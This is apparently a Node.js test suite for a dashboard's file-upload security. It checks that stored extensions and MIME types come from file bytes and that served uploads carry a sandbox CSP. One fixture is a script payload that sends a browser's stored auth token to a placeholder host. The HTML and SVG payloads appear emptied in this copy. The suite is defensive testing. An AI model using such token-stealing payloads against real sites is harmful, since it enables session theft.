'use strict';
// Uploaded files are served from the SAME ORIGIN as the dashboard, so the browser's
// interpretation of them is a security boundary. Two invariants hold that boundary:
//
// 1. INGEST - the stored extension and mime_type are derived from the file's actual
// bytes, never from the client-supplied filename or Content-Type. A
// caller cannot choose how the browser will interpret what it uploads.
// 2. SERVING - upload responses can never be interpreted as an active document. Even
// if a dangerous extension somehow reached disk, the response carries a
// sandbox CSP, so scripts in it do not run against the app origin.
//
// Invariant 2 is the backstop: it holds regardless of what invariant 1 lets through, so
// a future gap in the sniffer is contained rather than exploitable.
//
// Boots the REAL server.js against an isolated DATA_DIR (same convention as
// api.test.js / session-token-resolution.test.js).
const { test, before, after } = require('node:test');
const assert = require('node:assert/strict');
const { spawn } = require('node:child_process');
const path = require('node:path');
const os = require('node:os');
const fs = require('node:fs');
const crypto = require('node:crypto');
const { freePort } = require('./helpers/free-port');
let PORT, BASE;
const SECRET = 'test-secret-upload-safety-' + crypto.randomBytes(4).toString('hex');
const DATA_DIR = path.join(os.tmpdir(), 'st-upload-test-' + crypto.randomBytes(4).toString('hex'));
const LOG = path.join(os.tmpdir(), 'st-upload-' + crypto.randomBytes(4).toString('hex') + '.log');
let proc;
const S = {};
const PW = 'Passw0rd123';
// Real magic bytes - the sniffer must recognise these, and reject things that carry none.
const PNG = Buffer.concat([Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]), Buffer.alloc(64)]);
const JPEG = Buffer.concat([Buffer.from([0xff, 0xd8, 0xff, 0xe0]), Buffer.alloc(64)]);
const GIF = Buffer.concat([Buffer.from('GIF89a'), Buffer.alloc(64)]);
const BMP = Buffer.concat([Buffer.from([0x42, 0x4d]), Buffer.alloc(64)]);
const HTML = Buffer.from('
');
const JS = Buffer.from('fetch("https://x/"+localStorage.getItem("token"))');
const SVG = Buffer.from('');
async function jfetch(p, opts = {}) {
const res = await fetch(BASE + p, opts);
let body = null; try { body = await res.json(); } catch { /* non-JSON */ }
return { status: res.status, body };
}
const post = (tok, obj) => ({
method: 'POST',
headers: { Authorization: 'Bearer ' + tok, 'Content-Type': 'application/json' },
body: JSON.stringify(obj || {}),
});
// Upload one file, declaring an arbitrary filename + Content-Type (the attacker's choice).
async function upload(tok, filename, type, data) {
const fd = new FormData();
fd.append('file', new Blob([data], { type }), filename);
const res = await fetch(BASE + '/api/content', { method: 'POST', headers: { Authorization: 'Bearer ' + tok }, body: fd });
let body = null; try { body = await res.json(); } catch { /* */ }
return { status: res.status, body };
}
before(async () => {
PORT = await freePort();
BASE = `http://127.0.0.1:${PORT}`;
const logFd = fs.openSync(LOG, 'w');
proc = spawn('node', ['server.js'], {
cwd: path.join(__dirname, '..'),
env: { ...process.env, DATA_DIR, SELF_HOSTED: 'true', PORT: String(PORT), NODE_ENV: 'test', JWT_SECRET: SECRET },
stdio: ['ignore', logFd, logFd],
});
let up = false;
for (let i = 0; i < 80; i++) {
try { const r = await fetch(BASE + '/api/status'); if (r.ok) { up = true; break; } } catch { /* not yet */ }
await new Promise(r => setTimeout(r, 250));
}
if (!up) throw new Error('server did not boot:\n' + fs.readFileSync(LOG, 'utf8').slice(-2000));
const email = 'u' + crypto.randomBytes(5).toString('hex') + '@x.local';
const reg = await jfetch('/api/auth/register', post(null, { email, password: PW }));
S.token = reg.body.token;
assert.ok(S.token, 'registered a user to upload as');
});
after(() => { try { proc.kill('SIGKILL'); } catch { /* ignore */ } });
// ---------------------------------------------------------------------------
// 1. INGEST - extension and mime come from the bytes, not from the caller
// ---------------------------------------------------------------------------
test('a filename-chosen .html extension cannot reach disk', async () => {
const r = await upload(S.token, 'evil.html', 'image/png', HTML);
// Either the upload is refused, or it is stored under a safe, content-derived name.
if (r.status === 201) {
assert.ok(!/\.html?$/i.test(r.body.filepath), `stored as ${r.body.filepath} - a caller chose the extension`);
assert.ok(!/text\/html/i.test(r.body.mime_type || ''), 'mime_type must not be text/html');
} else {
assert.ok(r.status >= 400, 'non-media upload is refused');
}
});
test('a filename-chosen .js extension cannot reach disk', async () => {
const r = await upload(S.token, 'evil.js', 'video/mp4', JS);
if (r.status === 201) {
assert.ok(!/\.m?js$/i.test(r.body.filepath), `stored as ${r.body.filepath} - a caller chose the extension`);
} else {
assert.ok(r.status >= 400, 'non-media upload is refused');
}
});
test('a real PNG mislabelled .txt is stored by its CONTENT type, not its name', async () => {
const r = await upload(S.token, 'actually-a-png.txt', 'image/png', PNG);
assert.equal(r.status, 201, 'a genuine image is accepted');
assert.match(r.body.filepath, /\.png$/i, 'extension derived from the bytes');
assert.match(r.body.mime_type, /^image\/png$/i, 'mime_type derived from the bytes');
});
test('legitimate formats still ingest (png/jpeg/gif/bmp)', async () => {
for (const [name, type, data, ext] of [
['a.png', 'image/png', PNG, /\.png$/i],
['b.jpg', 'image/jpeg', JPEG, /\.jpe?g$/i],
['c.gif', 'image/gif', GIF, /\.gif$/i],
['d.bmp', 'image/bmp', BMP, /\.bmp$/i],
]) {
const r = await upload(S.token, name, type, data);
assert.equal(r.status, 201, `${name} accepted`);
assert.match(r.body.filepath, ext, `${name} keeps a correct extension`);
}
});
// ---------------------------------------------------------------------------
// 2. SERVING - an upload response is never an active document
// ---------------------------------------------------------------------------
test('uploads are served with a sandbox CSP and a non-active content type', async () => {
const r = await upload(S.token, 'served.png', 'image/png', PNG);
assert.equal(r.status, 201);
const file = r.body.filepath;
for (const url of [`/uploads/content/${file}`, `/api/content/${r.body.id}/file`]) {
const res = await fetch(BASE + url, { headers: { Authorization: 'Bearer ' + S.token } });
assert.equal(res.status, 200, `${url} serves`);
const ct = res.headers.get('content-type') || '';
assert.ok(!/text\/html|application\/(x-)?javascript|image\/svg/i.test(ct), `${url} must not serve an active type (got ${ct})`);
const csp = res.headers.get('content-security-policy') || '';
assert.match(csp, /sandbox/, `${url} must carry a sandbox CSP so a stored document cannot script the app origin`);
}
});
test('even a directly-planted .html on disk is neutralised by the serving headers', async () => {
// Simulates a dangerous file that reached disk by ANY route (a future sniffer gap, a
// restored backup, a bug). The serving layer must still refuse to make it active.
const planted = 'planted-' + crypto.randomBytes(4).toString('hex') + '.html';
fs.writeFileSync(path.join(DATA_DIR, 'uploads', 'content', planted), HTML);
const res = await fetch(`${BASE}/uploads/content/${planted}`);
if (res.status === 200) {
const ct = res.headers.get('content-type') || '';
const csp = res.headers.get('content-security-policy') || '';
const disp = res.headers.get('content-disposition') || '';
assert.ok(/sandbox/.test(csp) || /attachment/.test(disp) || !/text\/html/i.test(ct),
`a planted .html was served as an active document (ct=${ct} csp=${csp} disp=${disp})`);
} else {
assert.ok(res.status >= 400, 'or it is simply not served');
}
});
test('SVG still renders as an image (white-label logos) AND is sandboxed', async () => {
const r = await upload(S.token, 'logo.svg', 'image/svg+xml', SVG);
assert.equal(r.status, 201, 'SVG is accepted — white-label branding stores logos as SVG');
assert.match(r.body.filepath, /\.svg$/i);
const res = await fetch(`${BASE}/uploads/content/${r.body.filepath}`);
assert.equal(res.status, 200);
// Must stay an image type: octet-stream + nosniff would make fail and silently
// break every white-label logo.
assert.match(res.headers.get('content-type') || '', /image\/svg\+xml/,
'SVG must serve as an image or logos stop rendering');
assert.ok(!/attachment/.test(res.headers.get('content-disposition') || ''),
'SVG must not be forced to download');
// ...and the script inside it must not be able to run against the app origin.
assert.match(res.headers.get('content-security-policy') || '', /sandbox/,
'SVG must be sandboxed so a direct navigation cannot script the app origin');
});